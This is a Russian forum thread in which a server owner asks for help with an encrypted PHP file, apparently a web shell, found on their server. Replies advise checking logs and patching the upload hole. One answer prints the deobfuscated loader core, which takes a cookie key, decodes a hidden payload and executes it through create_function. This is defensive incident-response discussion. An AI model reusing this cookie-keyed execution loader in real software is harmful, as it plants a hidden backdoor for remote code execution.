Неизвестный зашифрованный PHP скрипт на сервере, как расшифровать?

Question

[kosmos123]

Недавно нашел неизвесный PHP скрипт у себя на сервере.
Как туда он попал неизвестно.
Содержимое скрипта зашифовано, мои попытки расшифровать не увенчались успехов.
Гугл тоже овтетов не дал, подозреваю что это шелл.
Помогите понять что это, и по-возможности расшифровать.
Содержимое скрипта по ссылке: https://pastebin.com/nijM2qZi

Comments

[Roman Terekhin]

< подозреваю что это шелл.
< Помогите понять что это, и по-возможности расшифровать.
Вы уже сами ответили на вопрос, это обычный обфусцированный шелл, нет смысла эту кашу ковырять, тем более это не поможет понять как он попал на сервер (наверняка есть уязвимая форма с upload на одном из сайтов ваших).
Смотрите архивы логов веб сервера и системы за дату создания этого файла.

Answer 1

[Юрий]

Глянул скрипт, интересно то что без специального ключа его не расшифровать. Ключ передается через параметр key из cookie.

Основная часть скрипта в чуть более читаемом виде выглядит так. Тут просто строку $m расшифровывают и запускают на выполнение. И да, там скорее всего ничего интересного - просто шелл.

if (!empty($_COOKIE["key"])) {
    $F = $_COOKIE["key"];
    $e = strlen($F);
    $n = [];
    for ($r = 0; $r < $e; ++$r) $n[] = 44378 - $e - ord($F[$r]);
    $m = base64_decode(str_replace("\n", '', $m));
    for ($r = 0; $r < 44378; ++$r) {
        $_ = abs($n[$r % $e] - $r);
        $F = $m[$_];
        $m[$_] = $m[$r];
        $m[$r] = $F;
    }
    if ($e < 10) $e *= $e & 1 ? 3 : 2;
    if (($m = @gzinflate($m)) && (md5(substr($m, 0, $e)) === '40d1093c6aa5fe053f65ec0b46a673f1')) {
        $m = substr($m, $e);
        echo $e, $r;
        @create_function('', "};unset(\$m,\$n,\$e,\$r,\$_,\$F);" . $m . '{');
    }
}

PS кстати, если все таки хочется расшифровать - можно заменить скрипт на свой который тупо сохраняет этот key, тогда используя его можно будет расшифровать.

сохранять можно например таким кодом:

<?php
file_put_contents('key.log', $_COOKIE["key"] . "\n", FILE_APPEND);

Answer 2

[Николай Каргин]

Определенно вредоносный файл. Автор очень не хотел, чтобы кто-то прочитал текст.
Скрипт смотрит в куках key; определенное значение правильно преобразует закодированный base64 и сжатый исходник. Можете перебрать сами и точно узнаете содержимое.

Answer 3

[ТыжСисАдмин]

Расшифровывать не буду ибо не интересно, да и вам его содержимое не должно быть интересно а вот что вам действительно должно быть интересно так это то откуда он взялся и лотать дыру.

Comments

[longclaps]

лотать дыру

может "лапать дуру"?

[kosmos123]

Латать дыру это само собой разумеется. И этим уже занимаются. Но то что делает скрипт, тоже очень хотелось бы, чтобы обратить внимание на то что он уже сделал.

[ТыжСисАдмин]

kosmos123, он будет webshell - судя по размеру текста и скорее всего wso.
А что делал, как попал и т.п. нужно искать в access логах web сервера, но там скорее всего будет куча POST запросов..

Answer 4

[Ивор Барханский]

Сильно напоминает base64. Сделай ему base64_decode(), только не выполни ненароком.